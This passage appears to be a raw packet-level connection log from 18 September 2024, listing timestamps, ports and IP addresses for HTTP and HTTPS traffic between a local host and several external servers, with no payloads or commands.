Sep 18, 2024 14:30:07.798335075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798348904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798361063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798372984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798384905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798397064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798409939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798439980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798439980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798439980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798470020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798481941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798502922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798515081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798526049 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.798530102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798530102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.798530102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.801040888 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.801040888 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.841108084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.841126919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.841140032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.841371059 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.877407074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.877665043 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.878016949 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880125046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880222082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880225897 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880239010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880251884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880264044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880264044 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880275965 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880286932 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880289078 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880299091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880327940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880346060 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880621910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880667925 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880712032 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880723953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880736113 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.880743980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880763054 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.880779982 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.883404970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883474112 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883482933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.883488894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883521080 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.883539915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.883595943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883609056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883621931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883631945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883642912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.883642912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.883663893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.883697033 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884196997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884253025 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884397984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884411097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884423018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884433985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884444952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884449005 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884458065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884471893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884501934 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884836912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884850025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884860992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884871960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884882927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884896040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.884896994 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884907007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884915113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884919882 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884934902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884941101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.884978056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.884989977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885000944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885011911 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885013103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885027885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885046005 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885066032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885181904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885225058 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885337114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885349989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885360956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885371923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885382891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885390043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885396004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885409117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885420084 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885420084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885432959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885440111 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885446072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885457993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885468960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885477066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885489941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885500908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885504961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885519028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885529041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885534048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885543108 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885546923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885559082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885571957 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885574102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885601997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885617018 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885642052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885653973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885684013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885698080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885705948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885711908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885724068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885735989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885742903 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885750055 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.885762930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.885795116 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886105061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886117935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886130095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886142015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886152029 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886168957 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886169910 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886183023 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886195898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886195898 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886209965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886212111 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886221886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886234999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886239052 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886257887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886265039 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886271954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886284113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886284113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886311054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886336088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886405945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886419058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886434078 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886442900 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886449099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886461973 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886461973 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886473894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886486053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886487961 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886501074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886512995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886519909 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886526108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886544943 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886573076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886583090 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886595011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886614084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886622906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886626959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886637926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886650085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886655092 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886662006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886673927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886681080 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886686087 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886699915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886712074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886718035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886724949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886738062 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886763096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886778116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886790037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886801004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886812925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886821032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886825085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886837006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886838913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886848927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886859894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886868954 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886874914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886885881 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886898041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886905909 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886910915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886923075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886924982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886935949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.886950016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886966944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.886996984 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.943619967 CEST	80	49710	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.943695068 CEST	49710	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.944299936 CEST	49710	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.944772959 CEST	49713	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.949953079 CEST	80	49713	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.950030088 CEST	49713	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.950174093 CEST	49713	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.950237989 CEST	80	49710	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.950288057 CEST	49710	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.951005936 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.951056004 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.951114893 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.951493025 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.951509953 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.957726955 CEST	80	49713	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.957787037 CEST	49713	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.970648050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970673084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970685005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970731974 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.970741987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970755100 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970757961 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.970767021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970781088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970792055 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.970802069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.970818043 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.970851898 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.971010923 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.971052885 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.971086025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.971122980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.971133947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.971148014 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.971175909 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.971193075 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.971200943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.971240044 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.972923994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.972959042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.972970963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.972980976 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.972990036 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.973004103 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.973006964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.973006964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.973017931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973031044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973037958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.973079920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973136902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973149061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973160982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973172903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973184109 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973185062 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973198891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973201990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973212004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973237038 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973251104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973280907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973294020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973308086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973320007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973331928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973334074 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973344088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973354101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973356962 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973370075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973371029 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973382950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973395109 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973402023 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973424911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973424911 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973438025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973440886 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973450899 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973460913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973468065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973474979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973484993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973505020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973515987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973520041 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973529100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973537922 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973541975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973555088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973563910 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973573923 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.973582983 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973586082 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.973596096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973617077 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.973617077 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.973630905 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.973640919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.973643064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.973655939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973659039 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.973670006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973681927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.973707914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973752975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973767042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973778009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973792076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973798037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973810911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973820925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973820925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973834038 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973845959 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.973848104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.973858118 CEST	80	49705	103.130.147.211	192.168.2.7
